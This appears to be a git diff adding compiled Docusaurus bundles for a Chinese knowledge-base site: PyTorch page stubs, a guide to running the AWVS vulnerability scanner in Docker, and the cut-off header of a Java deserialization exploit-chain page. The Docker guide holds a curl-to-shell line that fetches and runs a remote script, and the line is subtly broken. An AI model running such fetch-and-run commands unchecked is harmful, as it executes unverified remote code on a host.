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"}}]); \ No newline at end of file diff --git a/assets/js/b00967d9.c3569555.js b/assets/js/b00967d9.c3569555.js new file mode 100644 index 0000000..f4f4ea5 --- /dev/null +++ b/assets/js/b00967d9.c3569555.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4596],{28453:(t,e,n)=>{n.d(e,{R:()=>o,x:()=>c});var r=n(96540);const s={},l=r.createContext(s);function o(t){const e=r.useContext(l);return r.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function c(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(s):t.components||s:o(t.components),r.createElement(l.Provider,{value:e},t.children)}},49514:(t,e,n)=>{n.r(e),n.d(e,{assets:()=>i,contentTitle:()=>c,default:()=>a,frontMatter:()=>o,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/README","title":"torch\u5b9e\u73b0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"yolov5_description.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description"},"next":{"title":"Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605"}}');var s=n(74848),l=n(28453);const o={},c="torch\u5b9e\u73b0",i={},d=[];function h(t){const e={h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...t.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"torch\u5b9e\u73b0",children:"torch\u5b9e\u73b0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:39"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(e.p,{children:"\u8fd9\u662ftorch\u7248\u672c\u7684yolo\u89e3\u8bfb"})]})}function a(t={}){const{wrapper:e}={...(0,l.R)(),...t.components};return e?(0,s.jsx)(e,{...t,children:(0,s.jsx)(h,{...t})}):h(t)}}}]); \ No newline at end of file diff --git a/assets/js/b1ae1043.29b18daf.js b/assets/js/b1ae1043.29b18daf.js new file mode 100644 index 0000000..f007f3b --- /dev/null +++ b/assets/js/b1ae1043.29b18daf.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1394],{28453:(e,s,n)=>{n.d(s,{R:()=>o,x:()=>d});var r=n(96540);const c={},t=r.createContext(c);function o(e){const s=r.useContext(t);return r.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function d(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:o(e.components),r.createElement(t.Provider,{value:s},e.children)}},57118:(e,s,n)=>{n.r(s),n.d(s,{assets:()=>l,contentTitle:()=>d,default:()=>h,frontMatter:()=>o,metadata:()=>r,toc:()=>i});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","title":"Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/05.Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/05.Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs.md","tags":[],"version":"current","sidebarPosition":5,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565"},"next":{"title":"\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01","permalink":"/docs/personal/articles/free-chatgpt-go-one-year"}}');var c=n(74848),t=n(28453);const o={},d="Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs",l={},i=[{value:"Docker \u5b89\u88c5",id:"docker-\u5b89\u88c5",level:2},{value:"Awvs \u5b89\u88c5",id:"awvs-\u5b89\u88c5",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function a(e){const s={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,t.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(s.header,{children:(0,c.jsx)(s.h1,{id:"docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248awvs",children:"Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,c.jsxs)(s.table,{children:[(0,c.jsx)(s.thead,{children:(0,c.jsxs)(s.tr,{children:[(0,c.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(s.tbody,{children:(0,c.jsxs)(s.tr,{children:[(0,c.jsx)(s.td,{style:{textAlign:"left"},children:(0,c.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,c.jsx)(s.td,{style:{textAlign:"left"},children:"2025-11-09 02:45:27"})]})})]}),"\n",(0,c.jsxs)(s.p,{children:["\u5927\u5bb6\u597d\uff0c\u6211\u662f ",(0,c.jsx)(s.strong,{children:"\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff01\u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u7684\u662f ",(0,c.jsx)(s.code,{children:"awvs"}),"\u7684\u5feb\u901f\u90e8\u7f72\u65b9\u5f0f\uff0c",(0,c.jsx)(s.code,{children:"docker"}),"\u90e8\u7f72\uff0c\u65e0\u9700\u4fee\u6539\u4efb\u4f55\u914d\u7f6e\u5373\u53ef\u542f\u52a8 Awvs\u3002\u672c\u6587\u7ae0\u4f7f\u7528\u7684\u955c\u50cf\u662f\u5728",(0,c.jsx)(s.code,{children:"secfa/docker-awvs"}),"\uff0c\u652f\u6301\u901a\u8fc7\u73af\u5883\u53d8\u91cf\u6ce8\u5165",(0,c.jsx)(s.strong,{children:"\u8d26\u6237"}),"\u548c",(0,c.jsx)(s.strong,{children:"\u5bc6\u7801"}),"\uff0c\u9ed8\u8ba4\u4e2d\u6587\u3002\u7528\u5230\u7684",(0,c.jsx)(s.strong,{children:"\u5b89\u88c5\u5305"}),"\u3001",(0,c.jsx)(s.strong,{children:"\u955c\u50cf"}),"\u3001\u4ee5\u53ca",(0,c.jsx)(s.strong,{children:"docker-compose.yml"}),"\uff0c\u5747\u5df2\u653e\u5728\u767e\u5ea6\u7f51\u76d8\uff0c\u5177\u4f53\u53ef\u5728\u6587\u7ae0\u672b\u5c3e\u83b7\u53d6\u4e0b\u8f7d\u5730\u5740\u3002\u597d\u4e86\u5e9f\u8bdd\u4e0d\u591a\u8bf4\u6211\u4eec\u6b63\u5f0f\u5f00\u59cb"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"image-20251109023655720",src:n(98276).A+"",width:"1418",height:"270"})}),"\n",(0,c.jsx)(s.h2,{id:"docker-\u5b89\u88c5",children:"Docker \u5b89\u88c5"}),"\n",(0,c.jsxs)(s.blockquote,{children:["\n",(0,c.jsx)(s.p,{children:"\u5982\u679c\u4f60\u5df2\u7ecf\u5b89\u88c5\u4e86docker \u53ef\u76f4\u63a5\u8df3\u8fc7\u8be5\u6b65\u9aa4\u3002"}),"\n"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.strong,{children:"macOS"})}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"brew install --cask docker\n"})}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.strong,{children:"Linux"})}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"curl -fsSL https://get.docker.com -o get-docker.sh | sh\n"})}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.strong,{children:"Windows"})}),"\n",(0,c.jsxs)(s.blockquote,{children:["\n",(0,c.jsx)(s.p,{children:"\u4ece\u7f51\u76d8\u4e2d\u53d6\u51fa docker \u5b89\u88c5\u5305\uff0c\u5e76\u53cc\u51fb\u5b89\u88c5"}),"\n"]}),"\n",(0,c.jsx)(s.h2,{id:"awvs-\u5b89\u88c5",children:"Awvs \u5b89\u88c5"}),"\n",(0,c.jsxs)(s.p,{children:["\u4ece\u7f51\u76d8\u4e2d\uff0c\u83b7\u53d6",(0,c.jsx)(s.strong,{children:"awvs"}),"\u76ee\u5f55\u4e0b\u7684",(0,c.jsx)(s.strong,{children:"docker-compose.yml"})]}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"cd awvs\ndocker compose build \n# \u4fee\u6539 \u6587\u4ef6\u4e2d\u7684 \u767b\u5f55\u8d26\u53f7\u548c\u5bc6\u7801\ndocker compose up -d\n"})}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"# \u8bbf\u95ee URL \u5e76\u4f7f\u7528\u8d26\u6237\u5bc6\u7801\u767b\u5f55\u7cfb\u7edf\n\nhttps://127.0.0.1:13443/#/\n"})}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"image-20251109015039560",src:n(97849).A+"",width:"2966",height:"1450"})}),"\n",(0,c.jsx)(s.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,c.jsxs)(s.p,{children:["\u6211\u5728",(0,c.jsx)(s.code,{children:"secfa/docker-awvs"}),",\u955c\u50cf\u4e0a\u8d70\u4e86\u4fee\u6539\uff0c\u652f\u6301\u901a\u8fc7\u73af\u5883\u53d8\u91cf\u4fee\u6539\u8d26\u6237\u5bc6\u7801\uff0c\u5e76\u4e14\u9ed8\u8ba4\u767b\u5f55\u4e3a\u4e2d\u6587\uff1b\u5982\u679c\u4f60\u60f3\u83b7\u53d6\u8be5",(0,c.jsx)(s.strong,{children:"docker-compose.yml"}),"\uff0c\u8bf7\u5173\u6ce8\u516c\u4f17\u53f7\uff0c\u5173\u952e\u5b57\u56de\u590d\u3010",(0,c.jsx)(s.strong,{children:"20251110"}),"\u3011"]})]})}function h(e={}){const{wrapper:s}={...(0,t.R)(),...e.components};return s?(0,c.jsx)(s,{...e,children:(0,c.jsx)(a,{...e})}):a(e)}},97849:(e,s,n)=>{n.d(s,{A:()=>r});const r=n.p+"assets/images/image-20251109015039560-184d3418e6a793ff2847089c104cf718.png"},98276:(e,s,n)=>{n.d(s,{A:()=>r});const r=n.p+"assets/images/image-20251109023655720-80ff63b976a5445e765eebdca6782f84.png"}}]); \ No newline at end of file diff --git a/assets/js/b4fde4cf.878aab83.js b/assets/js/b4fde4cf.878aab83.js new file mode 100644 index 0000000..5e10d90 --- /dev/null +++ b/assets/js/b4fde4cf.878aab83.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6047],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var r=n(96540);const s={},l=r.createContext(s);function c(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),r.createElement(l.Provider,{value:t},e.children)}},54121:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>i,default:()=>h,frontMatter:()=>c,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/README","title":"\u7b2c\u4e03\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2"},"next":{"title":"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"}}');var s=n(74848),l=n(28453);const c={},i="\u7b2c\u4e03\u7ae0",d={},o=[];function a(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u4e03\u7ae0",children:"\u7b2c\u4e03\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u4e03\u7ae0pytorch\u53ef\u89c6\u5316",children:"\u7b2c\u4e03\u7ae0\uff1aPyTorch\u53ef\u89c6\u5316"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784\n7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316\n7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\n7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\n7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\n"})})]})}function h(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/b61dea12.52159916.js b/assets/js/b61dea12.52159916.js new file mode 100644 index 0000000..f3bc88a --- /dev/null +++ b/assets/js/b61dea12.52159916.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4383],{28453:(e,n,a)=>{a.d(n,{R:()=>o,x:()=>c});var t=a(96540);const r={},s=t.createContext(r);function o(e){const n=t.useContext(s);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),t.createElement(s.Provider,{value:n},e.children)}},58325:(e,n,a)=>{a.r(n),a.d(n,{assets:()=>i,contentTitle:()=>c,default:()=>p,frontMatter:()=>o,metadata:()=>t,toc:()=>l});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1","title":"Apache Commons Collections 1","description":"\u5229\u7528\u94fe\u5206\u6790","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/01.CC1.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/01.CC1.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/"},"next":{"title":"Apache Commons Collections 